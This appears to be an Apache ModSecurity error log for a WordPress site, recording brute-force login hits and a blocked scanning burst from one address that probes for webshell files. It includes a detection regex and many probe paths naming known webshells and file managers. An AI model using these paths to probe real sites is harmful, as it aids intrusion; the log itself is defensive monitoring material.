[Sat Apr 18 01:39:42.465208 2026] [:error] [pid 42442:tid 42454] [client 149.102.140.55:57492] [client 149.102.140.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.140.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJwXj4PBGqL_yqPJ8k0kgAAAQo"]
[Sat Apr 18 01:39:44.139187 2026] [:error] [pid 42442:tid 42466] [client 149.102.140.55:57492] [client 149.102.140.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.140.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJwYD4PBGqL_yqPJ8k0mgAAARY"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 02:07:28.704997 2026] [:error] [pid 42442:tid 42456] [client 139.180.143.81:43674] [client 139.180.143.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.180.143.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJ24D4PBGqL_yqPJ8lCBQAAAQw"]
[Sat Apr 18 02:07:35.564982 2026] [:error] [pid 59042:tid 59069] [client 139.180.143.81:43682] [client 139.180.143.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.180.143.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeJ2556p5oql0UklEBJdVAAAABY"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 02:22:24.384733 2026] [ssl:error] [pid 59043:tid 59085] [client 46.101.80.192:50228] AH02032: Hostname equalskiescharter.org provided via SNI and hostname gigfragments.org provided via HTTP have no compatible SSL setup
[Sat Apr 18 02:47:03.902703 2026] [:error] [pid 63702:tid 63762] [client 51.79.189.83:40696] [client 51.79.189.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.189.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKAJ8TL05PWYsKqTEY1QwAAAVU"]
[Sat Apr 18 02:47:06.045858 2026] [:error] [pid 63702:tid 63760] [client 51.79.189.83:40696] [client 51.79.189.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.189.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKAKsTL05PWYsKqTEY1RgAAAVM"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 03:07:18.836843 2026] [:error] [pid 42442:tid 42455] [client 136.243.92.189:34892] [client 136.243.92.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.92.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKE5j4PBGqL_yqPJ8lm_wAAAQs"]
[Sat Apr 18 03:07:21.892045 2026] [:error] [pid 63702:tid 63761] [client 136.243.92.189:60890] [client 136.243.92.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.243.92.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKE6cTL05PWYsKqTEY-BgAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 03:09:34.917986 2026] [:error] [pid 63702:tid 63739] [client 31.220.93.99:44584] [client 31.220.93.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.220.93.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKFbsTL05PWYsKqTEY-4QAAAUE"]
[Sat Apr 18 03:09:38.304154 2026] [:error] [pid 63702:tid 63756] [client 31.220.93.99:44584] [client 31.220.93.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.220.93.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKFcsTL05PWYsKqTEY-5AAAAU8"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 03:10:29.629532 2026] [:error] [pid 63702:tid 63740] [client 4.235.108.154:37521] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeKFpcTL05PWYsKqTEY_jwAAAUI"]
[Sat Apr 18 03:10:36.533153 2026] [:error] [pid 42442:tid 42468] [client 4.235.108.154:55477] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ng.php"] [unique_id "aeKFrD4PBGqL_yqPJ8locwAAARg"]
[Sat Apr 18 03:10:38.155672 2026] [:error] [pid 59044:tid 59103] [client 4.235.108.154:51121] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ng.php"] [unique_id "aeKFrgFamkFyEtD_SMHZMgAAAII"]
[Sat Apr 18 03:10:40.788529 2026] [:error] [pid 63702:tid 63759] [client 4.235.108.154:41029] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ng.php"] [unique_id "aeKFsMTL05PWYsKqTEY_mgAAAVI"]
[Sat Apr 18 03:10:46.221630 2026] [:error] [pid 59043:tid 59091] [client 4.235.108.154:39691] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ng.php"] [unique_id "aeKFtoRtUGE9SfUh2wwreAAAAFE"]
[Sat Apr 18 03:10:50.004296 2026] [:error] [pid 59136:tid 59142] [client 4.235.108.154:31532] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tiny2.php"] [unique_id "aeKFuiaoiUyiIR3EhLXaFQAAAMM"]
[Sat Apr 18 03:10:52.703291 2026] [:error] [pid 42442:tid 42461] [client 4.235.108.154:31043] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tiny2.php"] [unique_id "aeKFvD4PBGqL_yqPJ8lonAAAARE"]
[Sat Apr 18 03:10:54.786036 2026] [:error] [pid 59042:tid 59055] [client 4.235.108.154:31095] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tiny2.php"] [unique_id "aeKFvp6p5oql0UklEBJ1iAAAAAg"]
[Sat Apr 18 03:10:59.848570 2026] [:error] [pid 59043:tid 59078] [client 4.235.108.154:47049] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tiny2.php"] [unique_id "aeKFw4RtUGE9SfUh2wwrhAAAAEQ"]
[Sat Apr 18 03:11:04.386695 2026] [:error] [pid 63702:tid 63740] [client 4.235.108.154:2918] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/state.php"] [unique_id "aeKFyMTL05PWYsKqTEY_tQAAAUI"]
[Sat Apr 18 03:11:11.640497 2026] [:error] [pid 63702:tid 63743] [client 4.235.108.154:45095] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/state.php"] [unique_id "aeKFz8TL05PWYsKqTEY_uwAAAUQ"]
[Sat Apr 18 03:11:18.073017 2026] [:error] [pid 59043:tid 59094] [client 4.235.108.154:23777] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aeKF1oRtUGE9SfUh2wwrjAAAAFQ"]
[Sat Apr 18 03:11:19.061349 2026] [:error] [pid 59136:tid 59159] [client 4.235.108.154:46490] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aeKF1yaoiUyiIR3EhLXaJwAAANQ"]
[Sat Apr 18 03:11:20.220007 2026] [:error] [pid 59136:tid 59140] [client 4.235.108.154:47550] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aeKF2CaoiUyiIR3EhLXaKQAAAME"]
[Sat Apr 18 03:11:22.176541 2026] [:error] [pid 59044:tid 59102] [client 4.235.108.154:41541] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aeKF2gFamkFyEtD_SMHZbwAAAIE"]
[Sat Apr 18 03:11:27.367770 2026] [:error] [pid 63702:tid 63764] [client 4.235.108.154:23802] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wps.php"] [unique_id "aeKF38TL05PWYsKqTEY_xQAAAVc"]
[Sat Apr 18 03:14:25.400760 2026] [:error] [pid 42442:tid 42449] [client 4.235.108.154:31095] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.gigfragments.org"] [uri "/tiny.php"] [unique_id "aeKGkT4PBGqL_yqPJ8lprgAAAQU"]
[Sat Apr 18 03:14:43.052192 2026] [:error] [pid 59042:tid 59060] [client 4.235.108.154:46681] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/12.php"] [unique_id "aeKGo56p5oql0UklEBJ2LwAAAA0"]
[Sat Apr 18 03:14:47.889754 2026] [:error] [pid 42442:tid 42454] [client 4.235.108.154:42604] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/12.php"] [unique_id "aeKGpz4PBGqL_yqPJ8lp6QAAAQo"]
[Sat Apr 18 03:14:50.758853 2026] [:error] [pid 59044:tid 59101] [client 4.235.108.154:35935] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/12.php"] [unique_id "aeKGqgFamkFyEtD_SMHaOAAAAIA"]
[Sat Apr 18 03:14:52.436517 2026] [:error] [pid 42442:tid 42454] [client 4.235.108.154:24852] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/12.php"] [unique_id "aeKGrD4PBGqL_yqPJ8lp9AAAAQo"]
[Sat Apr 18 03:14:55.142403 2026] [:error] [pid 42442:tid 42448] [client 4.235.108.154:35907] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeKGrz4PBGqL_yqPJ8lp_wAAAQQ"]
[Sat Apr 18 03:14:59.948649 2026] [:error] [pid 59042:tid 59059] [client 4.235.108.154:30351] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeKGs56p5oql0UklEBJ2RAAAAAw"]
[Sat Apr 18 03:15:04.536175 2026] [:error] [pid 42442:tid 42452] [client 4.235.108.154:24847] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeKGuD4PBGqL_yqPJ8lqEgAAAQg"]
[Sat Apr 18 03:15:20.218390 2026] [:error] [pid 42442:tid 42448] [client 4.235.108.154:30804] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aeKGyD4PBGqL_yqPJ8lqLgAAAQQ"]
[Sat Apr 18 03:15:25.919166 2026] [:error] [pid 59043:tid 59084] [client 4.235.108.154:30815] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xff.php"] [unique_id "aeKGzYRtUGE9SfUh2wwr6AAAAEo"]
[Sat Apr 18 03:16:55.718872 2026] [:error] [pid 7181:tid 7207] [client 4.235.108.154:25615] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws85.php"] [unique_id "aeKHJ4EOj_oGYqvsyOL3wQAAABU"]
[Sat Apr 18 03:16:56.383311 2026] [:error] [pid 7297:tid 7303] [client 4.235.108.154:2624] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws85.php"] [unique_id "aeKHKPskyTNS2mWBKwxgBgAAAMQ"]
[Sat Apr 18 03:16:57.295664 2026] [:error] [pid 7182:tid 7213] [client 4.235.108.154:45792] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws85.php"] [unique_id "aeKHKXmhT2qj5cszsF309gAAAEA"]
[Sat Apr 18 03:16:58.549770 2026] [:error] [pid 7181:tid 7205] [client 4.235.108.154:45779] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws85.php"] [unique_id "aeKHKoEOj_oGYqvsyOL3xAAAABM"]
[Sat Apr 18 03:16:59.498028 2026] [:error] [pid 7182:tid 7219] [client 4.235.108.154:36009] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws87.php"] [unique_id "aeKHK3mhT2qj5cszsF30-QAAAEY"]
[Sat Apr 18 03:17:02.947563 2026] [:error] [pid 7183:tid 7264] [client 4.235.108.154:45816] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws87.php"] [unique_id "aeKHLuA91zZXz3qCkYfjAAAAAJg"]
[Sat Apr 18 03:17:04.087164 2026] [:error] [pid 7181:tid 7209] [client 4.235.108.154:50165] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws87.php"] [unique_id "aeKHMIEOj_oGYqvsyOL3xQAAABc"]
[Sat Apr 18 03:17:05.324911 2026] [:error] [pid 7297:tid 7313] [client 4.235.108.154:2103] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws87.php"] [unique_id "aeKHMfskyTNS2mWBKwxgFwAAAM4"]
[Sat Apr 18 03:17:06.287965 2026] [:error] [pid 7297:tid 7304] [client 4.235.108.154:24512] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/layout.php"] [unique_id "aeKHMvskyTNS2mWBKwxgGwAAAMU"]
[Sat Apr 18 03:17:07.482690 2026] [:error] [pid 7297:tid 7306] [client 4.235.108.154:2536] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/layout.php"] [unique_id "aeKHM_skyTNS2mWBKwxgHwAAAMc"]
[Sat Apr 18 03:17:08.260237 2026] [:error] [pid 7182:tid 7215] [client 4.235.108.154:36972] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/layout.php"] [unique_id "aeKHNHmhT2qj5cszsF31AQAAAEI"]
[Sat Apr 18 03:17:10.161781 2026] [:error] [pid 7297:tid 7316] [client 4.235.108.154:2326] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/layout.php"] [unique_id "aeKHNvskyTNS2mWBKwxgJwAAANE"]
[Sat Apr 18 03:17:12.558416 2026] [:error] [pid 7297:tid 7315] [client 4.235.108.154:2053] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/r2.php"] [unique_id "aeKHOPskyTNS2mWBKwxgLwAAANA"]
[Sat Apr 18 03:17:14.002842 2026] [:error] [pid 7181:tid 7192] [client 4.235.108.154:30642] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/r2.php"] [unique_id "aeKHOoEOj_oGYqvsyOL3zAAAAAY"]
[Sat Apr 18 03:17:15.707646 2026] [:error] [pid 7297:tid 7311] [client 4.235.108.154:27426] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/r2.php"] [unique_id "aeKHO_skyTNS2mWBKwxgPQAAAMw"]
[Sat Apr 18 03:17:16.808341 2026] [:error] [pid 7297:tid 7313] [client 4.235.108.154:48285] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/r2.php"] [unique_id "aeKHPPskyTNS2mWBKwxgRgAAAM4"]
[Sat Apr 18 03:17:18.801750 2026] [:error] [pid 7181:tid 7201] [client 4.235.108.154:28537] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ah25.php"] [unique_id "aeKHPoEOj_oGYqvsyOL3zgAAAA8"]
[Sat Apr 18 03:17:20.150714 2026] [:error] [pid 7297:tid 7299] [client 4.235.108.154:37990] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ah25.php"] [unique_id "aeKHQPskyTNS2mWBKwxgXAAAAMA"]
[Sat Apr 18 03:17:22.825953 2026] [:error] [pid 7182:tid 7225] [client 4.235.108.154:30602] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ah25.php"] [unique_id "aeKHQnmhT2qj5cszsF31BwAAAEw"]
